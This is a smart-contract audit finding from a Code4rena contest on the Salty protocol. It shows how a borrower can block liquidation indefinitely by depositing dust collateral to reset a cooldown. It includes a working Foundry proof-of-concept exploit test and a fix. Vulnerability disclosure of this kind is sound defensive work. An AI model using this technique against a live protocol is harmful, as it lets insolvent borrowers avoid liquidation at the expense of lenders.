USDS borrowers can escape liquidation infinitely

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L104-L111

Vulnerability details

Impact

USDS borrowers that should be liquidated can exploit the coolDown mechanism to prevent successful liquidations at practically no cost and for an infinite amount of time.

Vulnerability details

USDS borrowers can deposit or withdraw collateral in the protocol using the depositCollateralAndIncreaseShare & withdrawCollateralAndClaim methods inside CollateralAndLiquidity.sol contract. Both of those methods along with the liquidateUser method of the same contract internally call _increaseUserShare & _decreaseUserShare, which implement a coolDown mechanism, that snapshots the last time a user has deposited/withdrawn collateral and blocks new movements for some time (1-6 hours).

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L104-L111

// the check inside _increaseUserShare()/_decreaseUserShare() 
....

// this is passed as a function parameter
 if (useCooldown)
            if (
                msg.sender != address(exchangeConfig.dao())
            ) // DAO doesn't use the cooldown
            {
                require(
                    block.timestamp >= user.cooldownExpiration,
                    "Must wait for the cooldown to expire"
                );

                // Update the cooldown expiration for future transactions
                user.cooldownExpiration =
                    block.timestamp +
                    stakingConfig.modificationCooldown();
            }

....

The exploitable case occurs inside CollateralAndLiquidity.liquidateUser() which can be called by anyone to liquidate an insolvent borrower. Problem is that the function calls _decreaseUserShare with the coolDown flag set to true, which makes it dependent on the last coolDown set for that borrower.

  function liquidateUser(address wallet) external nonReentrant {
   ....
   
    // Decrease the user's share of collateral as it has been liquidated and they 
        no longer have it.
        _decreaseUserShare(
            wallet,
            collateralPoolID,
            userCollateralAmount,
           // useCooldown
            true   <----- checks if coolDown has expired
        );
   ....
  }

Since the borrower can reset his cooldown by depositing/withdrawing he can quite easily deposit a minimum amount of wei before each liquidation call which will make liquidateUser() revert because the coolDown is not expired

Since the minimum deposit amount is 100 wei, it wouldn't cost the borrower anything to deposit a dust amount and reset his cooldown.

I've calculated that for a default cooldown period of 1 hour it would cost the borrower 0.000000000000145642 $ (or practically nothing) to block liquidation for a period of 30 days. Considering the coolDown period can be increased to 6 hours the cost would be even lower - about x6 lower.

Below I've coded a POC to prove all of this

Proof of Concept

Add this test to CollateralAndLiquidity.t.sol and run forge test --rpc-url "https://rpc.sepolia.org/" --contracts src/stable/tests/CollateralAndLiquidity.t.sol --mt testPreventLiquidation -v

Here is a breakdown of the POC:

• Alice(the bad borrower) deposits collateral and borrows USDS
• The collateral ratio drops below the liquidation threshold
• Bob wants the 5% reward for calling liquidation and goes for it
• But Alice is monitoring the mempool and front-runs him by depositing a dust amount of collateral, resetting her coolDown timer and preventing Bob from successfully liquidating her
• After that I've also provided an example of how Alice could block liquidations for an extended period of time (even without watching the mempool) by simply depositing small amount at regular intervals, so that her coolDown never expires. All that at almost no cost.

function testPreventLiquidation() public {
        // 0. Bob deposits collateral so alice can be liquidated
        vm.startPrank(bob);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            wbtc.balanceOf(bob),
            weth.balanceOf(bob),
            0,
            block.timestamp,
            false
        );
        vm.stopPrank();

        // 1. Alice deposits some collateral
        vm.startPrank(alice);
        uint256 wbtcDeposit = wbtc.balanceOf(alice) / 4;
        uint256 wethDeposit = weth.balanceOf(alice) / 4;

        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            wbtcDeposit,
            wethDeposit,
            0,
            block.timestamp,
            true
        );

        // 2. Alice borrows USDS
        uint256 maxBorrowable = collateralAndLiquidity.maxBorrowableUSDS(alice);
        collateralAndLiquidity.borrowUSDS(maxBorrowable);
        vm.stopPrank();

        // 3. Time passes and collateral price crashes
        vm.warp(block.timestamp + 1 days);
        // Crash the collateral price so Alice's position can be liquidated
        _crashCollateralPrice();

        assertTrue(_userHasCollateral(alice));

        // 4. Alice prevents Bob liquidating her, by reseting coolDown period
        vm.prank(alice);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            101 wei, // dust amount
            101 wei, // dust amount
            0,
            block.timestamp + 1 hours,
            false
        );

        // 5. Bob fails to liquidate Alice position
        vm.prank(bob);
        vm.expectRevert("Must wait for the cooldown to expire");
        collateralAndLiquidity.liquidateUser(alice);

        // Alice still has her collateral
        assertTrue(_userHasCollateral(alice));

        // Alice can block liquidation indefinitely
        assertEq(stakingConfig.modificationCooldown(), 1 hours);
        uint256 coolDown = 1 hours;
        // block liqudation for 30 days
        uint256 hoursIn30Days = 30 days / 1 hours;
        uint256 costToBlock;

        // deposit dust amount every 1 hour to reset cooldown and prevent liqudation
        for (uint256 i = 0; i <= hoursIn30Days; i++) {
            // Cooldown expires
            vm.warp(block.timestamp + 1 hours);

            // But Alice resets it
            vm.prank(alice);
            collateralAndLiquidity.depositCollateralAndIncreaseShare(
                101 wei, // dust amount
                101 wei, // dust amount
                0,
                block.timestamp + 1 hours,
                false
            );

            // bob fails to liquidate again and again
            vm.prank(bob);
            vm.expectRevert("Must wait for the cooldown to expire");
            collateralAndLiquidity.liquidateUser(alice);

            // Alice still has her collateral
            assertTrue(_userHasCollateral(alice));

            //accumulate to the final cost
            costToBlock += 2 * 101 wei;
        }

        // 0.000000000000145642 dollars
        assertEq(costToBlock, 145642 wei);
    }

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Inside CollateralAndLiquidity.liquidateUser() when calling _decreaseUserShare() change the useCooldown argument to false, so that it cannot be influenced by user deposits

  function liquidateUser(address wallet) external nonReentrant {
   ....
   
    // Decrease the user's share of collateral as it has been liquidated and they 
        no longer have it.
        _decreaseUserShare(
            wallet,
            collateralPoolID,
            userCollateralAmount,
           // useCooldown
            true   <----- change this to false
        );
   ....
  }

Assessed type

Invalid Validation

[c4-judge]

Picodes marked the issue as duplicate of #891

[c4-judge]

Picodes marked the issue as satisfactory

[thebrittfactor]

For transparency, the judge confirmed issue should be marked as duplicate-312.